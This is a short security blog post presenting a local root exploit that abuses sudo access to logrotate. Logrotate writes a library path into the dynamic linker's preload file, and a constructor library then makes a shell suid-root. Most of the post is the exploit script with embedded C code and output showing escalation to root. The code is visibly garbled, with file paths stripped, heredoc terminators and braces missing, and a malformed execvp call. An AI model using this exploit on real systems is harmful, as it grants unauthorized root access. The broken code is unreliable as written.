Another way to exploit 'sudo logrotate'.

Just a quick post, I was reading this excellent blogpost showing a way to exploit sudo access to logrotate, and had a quick notion in my head that clobbering /etc/ would also be a viable exploitation strategy.

The logrotate exploit shown relies on injecting some text into a file somewhere. The author uses this to whack cron or a bash completion file to get execution.

The dynamic linker on Linux is very permissive in how it parses the /etc/ file, and if you can inject partially controlled content into it (even total garbage), so long as you can put a space or a newline in front of and after a string of text, you can then force the system to preload whatever library is stored at that path.

I've used this trick in a bunch of previous local root exploits I've written.

Basically, we will use 5 steps to exploit this issue.

  1. Drop and compile a shared library which will, upon being loaded, chown a suid-root backdoor to the root user, and set the suid bit on it. We also want the library to unlink the /etc/ file so it cleans up after itself.
  2. Drop and compile a simple setuid-root shell.
  3. Call sudo logrotate -l /etc/ ' /tmp/ ' so that logrotate shoves the string ' /tmp/ ' inside the /etc/ file.
  4. Call sudo logrotate -h to force our library to be preloaded by a root process.
  5. Run our root shell.

Here is the exploit as a shell script:

echo "~ logroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    printf("[+] done!\n");
gcc -fPIC -shared -ldl -o /tmp/ /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    execvp("/bin/sh", NULL, NULL);
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ file..."
sudo logrotate -l /etc/ ' /tmp/ '
echo "[+] Triggering..."
sudo logrotate -h

And here is an output of it running:

debian@debian:~$ id
uid=1000(debian) gid=1000(debian) groups=1000(debian),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev)
debian@debian:~$ ./ 
~ logroot ~
[+] First, we create our shell and library...
[+] Now we create our /etc/ file...
error: cannot stat  /tmp/ : No such file or directory
[+] Triggering...
ERROR: object 'error' from /etc/ cannot be preloaded (cannot open shared object file): ignored.

< snipped a load of complaining > 

[+] done!
logrotate: bad argument -h: unknown error
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(debian)
# exit

I hope you enjoyed seeing an 'alternative' approach to this exploit trickery.